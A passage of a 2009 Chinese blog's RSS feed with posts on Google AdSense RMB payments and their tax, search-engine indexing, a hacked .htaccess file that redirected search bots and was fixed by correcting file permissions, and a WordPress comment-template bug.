<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/334.html" title=".htaccess被hack的Google谷歌不收录问题">.htaccess被hack的Google谷歌不收录问题</a></li><li><a href="http://imvoo.com/archives/521.html" title="LNMP下WordPress+WP Super Cache支持Mobile的Rewrite规则">LNMP下WordPress+WP Super Cache支持Mobile的Rewrite规则</a></li><li><a href="http://imvoo.com/archives/465.html" title="WordPress插件推荐：侧边栏逻辑判断Widget Logic">WordPress插件推荐：侧边栏逻辑判断Widget Logic</a></li><li><a href="http://imvoo.com/archives/411.html" title="Nginx下Wordpress的WP Super Cache不能写文件的问题">Nginx下Wordpress的WP Super Cache不能写文件的问题</a></li><li><a href="http://imvoo.com/archives/335.html" title="从本博客的搜索引擎收录历史看网站优化">从本博客的搜索引擎收录历史看网站优化</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/355.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Google Adsense正在内测人民币支付</title>
		<link>http://imvoo.com/archives/348.html</link>
		<comments>http://imvoo.com/archives/348.html#comments</comments>
		<pubDate>Wed, 25 Mar 2009 12:33:21 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[Google Adsense]]></category>
		<category><![CDATA[个人所得税]]></category>
		<category><![CDATA[人民币支付]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/348.html</guid>
		<description><![CDATA[具体的计算是，1、收入不到4000元的，扣除数为800元;2、收入超过4000元的，扣除数为收入的20%;3、收入超过20000元的，还要加成征收。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>我3月18日写完一篇关于Adsense还未实现人民币支付的消息之后，链接：<a href="http://imvoo.com/archives/341.html">Google Adsense本地化支付到底能实现吗？</a>，第二天3月19日站长网上放出消息，据网友透露，目前Google AdSense已经在国内测试电子银行转账支付服务，目前只在小部分用户种进行测试。取得测试资格的用户将可以直接通过银行账户收取人民币。 </p>
<p> <span id="more-348"></span>
<p>援引消息：采用人民币支付方式后，用户将无需等待账户达到100美元(约680人民币)申请支付，Google AdSense将调整付款底限为400元人名币。据了解，谷歌采用人名币支付将代为征收个人所得税，目前尚不清楚税收标准。 </p>
<p>目前普遍关心的问题是人民币支付是否是国内用户的唯一选择？还有所得税的税率是多少？据查找发现，个人所得税与工资收入的个人所得税，税率计算是不同的。</p>
<p>具体的计算是，1、收入不到4000元的，扣除数为800元;2、收入超过4000元的，扣除数为收入的20%;3、收入超过20000元的，还要加成征收。</p>
<p>估计Google的税收计算也可能是这样的。按月收入1000元计算，（1000－800）×20%＝40元；如果是10000元，就是（10000－10000×20%）×20%＝10000×16%＝1600元。</p>
<p>与工资个人所得税相比，这个所得税的税率起点还是比较高的。按如此计算，月收入高的Adsense用户还是选择西联快汇划算一些。</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/341.html" title="Google Adsense本地化支付到底能实现吗？">Google Adsense本地化支付到底能实现吗？</a></li><li><a href="http://imvoo.com/archives/232.html" title="Google Adsense 将于09年实现本地化支付">Google Adsense 将于09年实现本地化支付</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/348.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Adsense本地化支付到底能实现吗？</title>
		<link>http://imvoo.com/archives/341.html</link>
		<comments>http://imvoo.com/archives/341.html#comments</comments>
		<pubDate>Wed, 18 Mar 2009 13:28:51 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[Google Adsense]]></category>
		<category><![CDATA[本地化支付]]></category>
		<category><![CDATA[谷歌]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/341.html</guid>
		<description><![CDATA[记得最早看到Google Adsense的本地化支付的新闻还是在07年，那时候的新闻就说即将实现，一直到08年还是即将实现？实际上到现在还没有实现。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p><img class="alignright" src="https://www.google.com/adsense/static/en_US/images/logo_main.gif" alt="" align="left" /></p>
<p>07年、08年两年，Google Adsense的即将要本地化支付的新闻一直在上演，但是只看到雷声没有看到雨点，现在09年的1/4马就就要过去了，我就想问一问Google Adsense的本地化支付还能不能实现？</p>
<p>从我的这篇文章<a href="http://imvoo.com/archives/69.html">谷歌Adsense将实现国内银行转帐</a>和<a href="http://imvoo.com/archives/232.html">Google Adsense 将于09年实现本地化支付</a>都是关于本地化支付的新闻，这两条新闻分别是08年8月和12月发布的。</p>
<p><span id="more-341"></span></p>
<p>记得最早看到Google Adsense的本地化支付的新闻还是在07年，那时候的新闻就说即将实现，一直到08年还是即将实现？实际上到现在还没有实现。</p>
<blockquote><p>原新闻是说：08年10月22日，谷歌亚太区在线销售及运营部主管周文彪表示，谷歌计划在08年底、09年初实现AdSense在中国支付的本地化。</p></blockquote>
<p>其实实现这个之后，好处就是收款方便了，直接打到银行卡上可以省却去托收外币的麻烦，任何事都有两面性，坏处就是在国内支付就要依据国内的税收政策来邀税了。希望到时候可以自动选择收款方式，是按原来的外汇汇兑还是按国内银行卡支付，都可以按自己的选择来定。有很多人不希望在本来就少的收入再被扣除税款，当然讲究快捷的网站主们就方便了。</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/441.html" title="谷歌中国恢复正常运转?">谷歌中国恢复正常运转?</a></li><li><a href="http://imvoo.com/archives/379.html" title="日本原住民是哪些人？看谷歌惹恼日本人">日本原住民是哪些人？看谷歌惹恼日本人</a></li><li><a href="http://imvoo.com/archives/348.html" title="Google Adsense正在内测人民币支付">Google Adsense正在内测人民币支付</a></li><li><a href="http://imvoo.com/archives/335.html" title="从本博客的搜索引擎收录历史看网站优化">从本博客的搜索引擎收录历史看网站优化</a></li><li><a href="http://imvoo.com/archives/334.html" title=".htaccess被hack的Google谷歌不收录问题">.htaccess被hack的Google谷歌不收录问题</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/341.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>从本博客的搜索引擎收录历史看网站优化</title>
		<link>http://imvoo.com/archives/335.html</link>
		<comments>http://imvoo.com/archives/335.html#comments</comments>
		<pubDate>Thu, 12 Mar 2009 14:12:36 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[iNove]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[搜索引擎]]></category>
		<category><![CDATA[收录]]></category>
		<category><![CDATA[百度]]></category>
		<category><![CDATA[谷歌]]></category>

		<guid isPermaLink="false">http://imvoo.com/archives/335.html</guid>
		<description><![CDATA[目前，百度大量收录的是tag页面、日期归档、分类存档等页面，这在meta bots里可以noindex的，在百度是行不通的，有noindex时，百度收录很慢，甚至不收录。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>博客自从上线以来，换了至少3个博客软件。从最初的L-Blog到PJBlog 两个ASP产品，其中有段短暂的时间想放到Blogspot上，但是ghs.google.com经常被封锁的原因，而再次使用独立博客用了php的 WordPress程序，而博客在搜索引擎里的表现也经历了几个大起大落。</p>
<p>从百度说起，刚上线用L-Blog时，基本上15分钟之内，百度就可以收录新写的日志，后来转到PJBlog，因为链接地址发生了变化，全站被K后，很长一段时间不收录，从此之后，百度收录博客的速度再也没有达到15分钟，甚至一天之内。</p>
<p><span id="more-335"></span></p>
<p>从百度收录看来，从74到140，再到249,而最近的收录是140+到194再减少到184再到229。虽然索引量是上去了，但是最关键的以.html结尾的日志收录数却没有变化，从我的永久链接结构可以看到，.html结尾的是日志。</p>
<p>目前，百度大量收录的是tag页面、日期归档、分类存档等页面，这在meta bots里可以noindex的，在百度是行不通的，有noindex时，百度收录很慢，甚至不收录。而现在我发现百度首页的快照已经可以达到隔天快照了，这个还需要进一步观察，因为这个现象是最近几天发现的。</p>
<p>所做的优化：自从换了iNove模板后，针对搜索引擎做了很多优化，而且根据一位QQ 好友的建议，把不相关的关键字去掉了。还有一个小秘密就是申请了百度联盟，而且通过了，用以前的一个站（采集的）一直都没有通过，用这个博客却一次性的通过了，通过不久之后，首页就从site:imvoo.com里面出现了，而以前经常隔三差五的被K，虽然能用清风无影这个关键词查询到，但是在 site:imvoo.com里却找不到。</p>
<p>谷歌Google的收录一直都很平稳，从了换链接结构以外，换模板对谷歌Google收录的影响并不是很大，现在Google的收录一般在10分钟之内。最近也许是个意外，已经有两篇日志没有被收录，即使在博客搜索里也没有收录，原因是.htaccess被修改了，这在上篇日志里有介绍。</p>
<p>总体感觉，对搜索引擎，有时无招胜有招。像<a href="http://www.mobile20.com.cn" target="_blank">Mobile web 2.0</a>，看他的博客里没有keywords和description，但是在百度里的收录基本上都是日志页面，这也可以是该博客没有以.html结尾且使用的是非数字的针对搜索引擎友好的URL链接方式的原因。这段明天让LaRiver来验证。</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/320.html" title="从一个关键字 看看Live Search和百度的搜索更正">从一个关键字 看看Live Search和百度的搜索更正</a></li><li><a href="http://imvoo.com/archives/301.html" title="对iNove的修改 停用 All in One Seo">对iNove的修改 停用 All in One Seo</a></li><li><a href="http://imvoo.com/archives/385.html" title="百度改变直接搜索域名的结果">百度改变直接搜索域名的结果</a></li><li><a href="http://imvoo.com/archives/334.html" title=".htaccess被hack的Google谷歌不收录问题">.htaccess被hack的Google谷歌不收录问题</a></li><li><a href="http://imvoo.com/archives/131.html" title="高兴：百度收录恢复正常了">高兴：百度收录恢复正常了</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/335.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>.htaccess被hack的Google谷歌不收录问题</title>
		<link>http://imvoo.com/archives/334.html</link>
		<comments>http://imvoo.com/archives/334.html#comments</comments>
		<pubDate>Wed, 11 Mar 2009 07:29:51 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[301转向]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[收录]]></category>
		<category><![CDATA[谷歌]]></category>

		<guid isPermaLink="false">http://imvoo.com/?p=334</guid>
		<description><![CDATA[到服务器后台查看访问记录时，可以看到凡是Googlebots的访问全部被301转向了，而baiduspider的访问就是正常的200。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>正在奇怪为什么网站在Google谷歌上不收录呢？而三天之前是每发表一篇日志，在10－15分钟之内就会被收录。本来还想钻研一下其它几个博客，看是不是因为某些原因，这几天Goolge不收录国内的博客，查证之后，发现是本身的原因。</p>
<p><img class="alignleft" src="http://lh6.ggpht.com/_SbB9RxjJztk/SbdqSjz0V9I/AAAAAAAAA0A/a4LOmr3CjQM/s400/htaccess.jpg" alt=".htaccess挂马" width="400" height="74" /></p>
<p>到服务器后台查看访问记录时，可以看到凡是Googlebots的访问全部被301转向了，而baiduspider的访问就是正常的200。于是去查看.htaccess的rewrite记录，发现在最后被加上了几行代码。是针对googlebot msnbot和slurp的访问转向。这几个bots访问时，就会转向一个.us域名网站。汗&#8230;</p>
<p><span id="more-334"></span></p>
<p>分析了一下原因，这个好像是我用了一个Wordpress转向插件时，设置了.htaccess的权限为777,设置好转向后，却没有把权限改为644,结果被人有机可趁。即然知道了原因，那就马上修改下权限吧。</p>
<p>在google上search了一上以.htaccess dfsg.us为关键词，可以看到还有一个博客有这个问题。<a title="Permanent Link to Wasting my time - dealing with hacks" rel="bookmark" href="http://www.vadim.co.uk/blog/static/402" target="_blank">Wasting my time &#8211;  dealing with hacks</a>在他的博客上提到另一个人也有这个问题<a href="http://44px.net/blog/2009/02/28/napominayu-prosteyshee-pravilo-teper-i-iz-svoego-opyita" target="_blank">http://44px.net/blog/2009/02/28/napominayu-prosteyshee-pravilo-teper-i-iz-svoego-opyita</a>。</p>
<p><strong>.htaccess知识</strong></p>
<p><strong></strong>.htaccess文件(或者”分布式配置文件”)提供了针对每个目录改变配置的方法，即在一个特定的目录中放置一个包含指令的文件，其中的指令作用于此目录及其所有子目录。</p>
<p>一般情况下，不应该使用.htaccess文件，除非你对主配置文件没有访问权限。有一种很常见的误解，认为用户认证只能通过.htaccess文件实现，其实并不是这样，把用户认证写在主配置文件中是完全可行的，而且是一种很好的方法。</p>
<p><span style="color: #ff0000;">最重要的是把.htaccess文件权限设置为644。</span></p>
<p><span style="color: #ff0000;">UPDATE:删掉被修改的部分后，两个小时内，Google收录了这几天的日志，晚上再看时，首页也恢复了。也就是说差不多恢复正常了，还要继续观察被301转向的网址，到底会怎么样。</span></p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/335.html" title="从本博客的搜索引擎收录历史看网站优化">从本博客的搜索引擎收录历史看网站优化</a></li><li><a href="http://imvoo.com/archives/441.html" title="谷歌中国恢复正常运转?">谷歌中国恢复正常运转?</a></li><li><a href="http://imvoo.com/archives/379.html" title="日本原住民是哪些人？看谷歌惹恼日本人">日本原住民是哪些人？看谷歌惹恼日本人</a></li><li><a href="http://imvoo.com/archives/355.html" title="博客又一次被301转向了">博客又一次被301转向了</a></li><li><a href="http://imvoo.com/archives/320.html" title="从一个关键字 看看Live Search和百度的搜索更正">从一个关键字 看看Live Search和百度的搜索更正</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/334.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>从一个关键字 看看Live Search和百度的搜索更正</title>
		<link>http://imvoo.com/archives/320.html</link>
		<comments>http://imvoo.com/archives/320.html#comments</comments>
		<pubDate>Sat, 28 Feb 2009 10:42:36 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Live Search]]></category>
		<category><![CDATA[搜索引擎]]></category>
		<category><![CDATA[百度]]></category>
		<category><![CDATA[谷歌]]></category>

		<guid isPermaLink="false">http://imvoo.com/?p=320</guid>
		<description><![CDATA[今天在Live Search搜索引擎想看看本站的收录情况，搜索到的结果是147条纪录和Google谷歌的搜索收录条数差不多。然后以“新网站”作为关键词做出搜索，这是Live Search给出的提示居然是：你要找的是不是“性网站”。]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>今天在Live Search搜索引擎想看看本站的收录情况，搜索到的结果是147条纪录和Google谷歌的搜索收录条数差不多。然后以“新网站”作为关键词做出搜索，这是Live Search给出的提示居然是：你要找的是不是“性网站”。</p>
<p>我要找的当然不是“性网站”，这时我有了一个想法看看三大搜索引擎对“新网站”这个关键词的搜索更正和结果分别是什么。</p>
<p><span id="more-320"></span></p>
<p>下面的截图分别是百度、Google谷歌和Live Search三大搜索引擎对“新网站”的更正，其中两个的更正是“性网站”。</p>
<div class="wp-caption aligncenter" style="width: 410px"><a href="http://picasaweb.google.com/lh/photo/sodgcmP_bq6XediQj9RARQ?feat=embedwebsite" target="_blank"><img class=" " src="http://lh4.ggpht.com/_SbB9RxjJztk/SakNuOtW_hI/AAAAAAAAApU/AqQM_ZssrRk/s400/Screenshot%20-%202009-2-28%20%2C%2017_57_48.jpg" alt="Live Search搜索更正" width="400" height="175" /></a><p class="wp-caption-text">Live Search搜索更正</p></div>
<div class="wp-caption aligncenter" style="width: 410px"><a href="http://picasaweb.google.com/lh/photo/-ybdGQ-61p4z2YC7LcCC3w?feat=embedwebsite" target="_blank"><img src="http://lh5.ggpht.com/_SbB9RxjJztk/SakNuf3yFMI/AAAAAAAAApc/JY063eDimUc/s400/Screenshot%20-%202009-2-28%20%2C%2017_58_10.jpg" alt="百度搜索的关键词更正" width="400" height="208" /></a><p class="wp-caption-text">百度搜索的关键词更正</p></div>
<div class="wp-caption aligncenter" style="width: 410px"><a href="http://picasaweb.google.com/lh/photo/K24sgDPqF27PWcaSVIuKeA?feat=embedwebsite" target="_blank"><img src="http://lh6.ggpht.com/_SbB9RxjJztk/SakNuA441DI/AAAAAAAAApM/qtHvtKo1HgU/s400/Screenshot%20-%202009-2-28%20%2C%2017_57_38.jpg" alt="Google谷歌搜索的关键词更正" width="400" height="198" /></a><p class="wp-caption-text">Google谷歌搜索的关键词更正</p></div>
<p>由上面三个截图可以看到，这三个搜索引擎只有谷歌(Google)没有给出对搜索关键词的更正。既然都让我搜索“性网站”，那我就不客气搜索一下性网站，看看结果是怎么样的。配合现在的净化互联网风气的运动，估计应该没有什么好的结果可以显示吧。大家想歪了，我是本着严谨探索的精神来研究这个问题的。</p>
<div class="wp-caption aligncenter" style="width: 410px"><a href="http://picasaweb.google.com/lh/photo/lraoOtkSdaG56oX3pAxKNQ?feat=embedwebsite" target="_blank"><img src="http://lh4.ggpht.com/_SbB9RxjJztk/SakNupbk_KI/AAAAAAAAApk/OXmrvHFsipY/s400/Screenshot%20-%202009-2-28%20%2C%2017_59_01.jpg" alt="Live Search搜索结果" width="400" height="217" /></a><p class="wp-caption-text">Live Search搜索结果</p></div>
<div class="wp-caption aligncenter" style="width: 410px"><a href="http://picasaweb.google.com/lh/photo/vNHIDBbZ8fvg6l52Q8Yl6Q?feat=embedwebsite" target="_blank"><img src="http://lh4.ggpht.com/_SbB9RxjJztk/SakNu2B72LI/AAAAAAAAAps/e8R3MWL-DWw/s400/Screenshot%20-%202009-2-28%20%2C%2017_59_12.jpg" alt="Google谷歌搜索结果" width="400" height="253" /></a><p class="wp-caption-text">Google谷歌搜索结果</p></div>
<div class="wp-caption aligncenter" style="width: 410px"><a href="http://picasaweb.google.com/lh/photo/dd5ifND_36_lVCW5cWYZCg?feat=embedwebsite" target="_blank"><img src="http://lh5.ggpht.com/_SbB9RxjJztk/SakNvJRPdBI/AAAAAAAAAp0/i2jZR8cSw9o/s400/Screenshot%20-%202009-2-28%20%2C%2017_59_37.jpg" alt="百度搜索结果" width="400" height="202" /></a><p class="wp-caption-text">百度搜索结果</p></div>
<p>另人大感意外，又在情理之中的是，这三个搜索引擎只有百度搜索出来的第一个是真正的“性网站”，其它两个均于关键字无关或是科学性的网站。</p>
<p>来综合一下结果：Live Search有提示，没结果；百度有提示，有结果；谷歌没提示，没结果。看来只有Google谷歌是守法，拥护低俗网站治理的好网站。百度作为中文领域占有率最大的网站，可以如此轻而易举地搜索到结果，只是有害年轻人的身心健康，而且该结果还排在备案网站管理系统之上，列第一位。在我看来，应该是.gov.cn的备案网站列第一，都说.gov.cn给的加权高，那个原来第一的排第二才对。</p>
<p>再想起谷歌Google在国内的命运坎坷，二年以前还没有好好的体验过谷歌的搜索，搜索一会，再刷新的时候就上不去了，Gmail也是如此，总是连接不上，也许现在的Google加大的公关力度，现在的产品的体验已经好多了。再想起以前Google说的不会干预搜索结果，再到现在的不遗余力配合政策，让人不胜唏嘘。</p>
<p>现面还有一张雅虎的搜索结果，作为没落的搜索引擎，现在的市场份额已经很少了，搜索时没有提示，搜索结果比谷歌的还纯净。</p>
<div class="wp-caption aligncenter" style="width: 410px"><a href="http://picasaweb.google.com/lh/photo/2lr-AETrYDlBOTQjgZzihQ?feat=embedwebsite" target="_blank"><img src="http://lh4.ggpht.com/_SbB9RxjJztk/SakNvGxeYNI/AAAAAAAAAp8/S2wBpYOTut4/s400/Screenshot%20-%202009-2-28%20%2C%2018_06_05.jpg" alt="Yahoo中文的搜索结果" width="400" height="130" /></a><p class="wp-caption-text">Yahoo中文的搜索结果</p></div>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/335.html" title="从本博客的搜索引擎收录历史看网站优化">从本博客的搜索引擎收录历史看网站优化</a></li><li><a href="http://imvoo.com/archives/385.html" title="百度改变直接搜索域名的结果">百度改变直接搜索域名的结果</a></li><li><a href="http://imvoo.com/archives/441.html" title="谷歌中国恢复正常运转?">谷歌中国恢复正常运转?</a></li><li><a href="http://imvoo.com/archives/379.html" title="日本原住民是哪些人？看谷歌惹恼日本人">日本原住民是哪些人？看谷歌惹恼日本人</a></li><li><a href="http://imvoo.com/archives/349.html" title=".tel域名和chi.mp服务">.tel域名和chi.mp服务</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/320.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>WordPress的留言模板代码输出未闭合的Bug</title>
		<link>http://imvoo.com/archives/313.html</link>
		<comments>http://imvoo.com/archives/313.html#comments</comments>
		<pubDate>Mon, 23 Feb 2009 03:37:57 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
				<category><![CDATA[网站优化]]></category>
		<category><![CDATA[Bug]]></category>
		<category><![CDATA[iNove]]></category>
		<category><![CDATA[W3c]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[模板]]></category>

		<guid isPermaLink="false">http://imvoo.com/?p=313</guid>
		<description><![CDATA[Wordpress里默认的模板样式存在未闭合的<li>错误，这导致你的网页在W3c验证时会不通过。在验证本博几个页面时，发现有评论页的页面就产生一堆未闭合的错误，而没有评论页的页面就不会产生错误，成功passed。</li>]]></description>
			<content:encoded><![CDATA[<div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><p>WordPress里默认的模板样式存在未闭合的&lt;li&gt;错误，这导致你的网页在W3c验证时会不通过。在验证本博几个页面时，发现有评论页的页面就产生一堆未闭合的错误，而没有评论页的页面就不会产生错误，成功passed。</p>
<p>由于我在后台编辑文章时，还有一个添加新标签，不会提示我要插入的标签，只显示“-1”，我怀疑是不是我下载的文件有问题，因为不是从官方下载的，于是到官方网站从新下载了一次，把网站目录里的一些有关内容删除，保留google、yahoo、baidu等的验证文件和WordPress的配置文件，从新把WordPress安装了一次，但还是出现上述问题。那问题只能从模板，wordpress系统代码两个方面查找了。</p>
<p><span id="more-313"></span>首先从模板找起：</p>
<p>模板关于评论的输出时，是这样的：</p>
<div class="wp-caption aligncenter" style="width: 410px"><img class="picasa " src="http://lh4.ggpht.com/_SbB9RxjJztk/SaGAMxnTe_I/AAAAAAAAAdI/VQCHQMBohWM/s400/wordpress-bug1.jpg" alt="原模板默认用系统评论输出" width="400" height="226" /><p class="wp-caption-text">原模板默认用系统评论输出</p></div>
<p>输出的时候会判断是否2.7版本，如果是用wp_list_comments()函数输出内容，如是是2.6.3版本及以下版本，那就用模板自带的函数custom_comments输出。问题会不会出现在这里？在把判断语句删除之后：</p>
<div class="wp-caption aligncenter" style="width: 410px"><img class="picasa " src="http://lh4.ggpht.com/_SbB9RxjJztk/SaF_5WXZZnI/AAAAAAAAAcs/i3fBlZIv5xw/s400/wordpress-bug2.jpg" alt="去掉wordpress系统评论输出后" width="400" height="154" /><p class="wp-caption-text">去掉wordpress系统评论输出后</p></div>
<p>这样就恢复了正常，又可以通过W3C验证了。看来问题就出在wp_list_comments()函数上。从输出的html代码看来，大概是&lt;li&gt;的标签用&lt;/div&gt; 来闭合了，参考了wp_list_comments()函数的源码，发现输出有两种格式，一种是&lt;li&gt;的一种是&lt;div&gt;的，可能是判断的时候出错了吧。通过对我所用的<a title="iNove" href="http://www.neoease.com/themes/" target="_blank">iNove模板</a>的官方博客反映了这一问题，得到了mg12的确认：</p>
<div class="wp-caption aligncenter" style="width: 410px"><img class="picasa " src="http://lh6.ggpht.com/_SbB9RxjJztk/SaF-b3_F2hI/AAAAAAAAAcE/MT-QnbZuFVo/s400/wordpress-bug.jpg" alt="iNove官方博客mg12的回复" width="400" height="269" /><p class="wp-caption-text">iNove官方博客mg12的回复</p></div>
<p>奇怪的是在网上搜索，却没有找到这个问题或这个问题的解决办法。另外像我的后台里标签提示不正常的现象不知道其它的WordPress后台是不是这样？还是只是我这个有问题呢？</p>
<div style="float:right"><!-- JiaThis Button BEGIN -->
<div id="jiathis_style_32x32">
	<a class="jiathis_button_qzone"></a>
	<a class="jiathis_button_tsina"></a>
	<a class="jiathis_button_tqq"></a>
	<a class="jiathis_button_renren"></a>
	<a class="jiathis_button_kaixin001"></a>
	<a href="http://www.jiathis.com/share" class="jiathis jiathis_txt jtico jtico_jiathis" target="_blank"></a>
</div>
<script type="text/javascript" src="http://v2.jiathis.com/code/jia.js" charset="utf-8"></script>
<!-- JiaThis Button END -->
<!-- UJian Button BEGIN -->
	<script type="text/javascript" src="http://v1.ujian.cc/code/ujian.js?type=slide"></script>
<!-- UJian Button END --></div><div style="clear:both; margin-top:5px; margin-bottom:5px;"></div><h3  class="related_post_title">相关文章</h3><ul class="related_post"><li><a href="http://imvoo.com/archives/299.html" title="于今天2月17日再次更换模板">于今天2月17日再次更换模板</a></li><li><a href="http://imvoo.com/archives/335.html" title="从本博客的搜索引擎收录历史看网站优化">从本博客的搜索引擎收录历史看网站优化</a></li><li><a href="http://imvoo.com/archives/310.html" title="修正几个地方 让网站通过W3C标准验证">修正几个地方 让网站通过W3C标准验证</a></li><li><a href="http://imvoo.com/archives/301.html" title="对iNove的修改 停用 All in One Seo">对iNove的修改 停用 All in One Seo</a></li><li><a href="http://imvoo.com/archives/94.html" title="因为换了模板，百度搜索里的内容只剩11条了">因为换了模板，百度搜索里的内容只剩11条了</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://imvoo.com/archives/313.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>修正几个地方 让网站通过W3C标准验证</title>
		<link>http://imvoo.com/archives/310.html</link>
		<comments>http://imvoo.com/archives/310.html#comments</comments>
		<pubDate>Sat, 21 Feb 2009 03:00:52 +0000</pubDate>
		<dc:creator>Joseph</dc:creator>
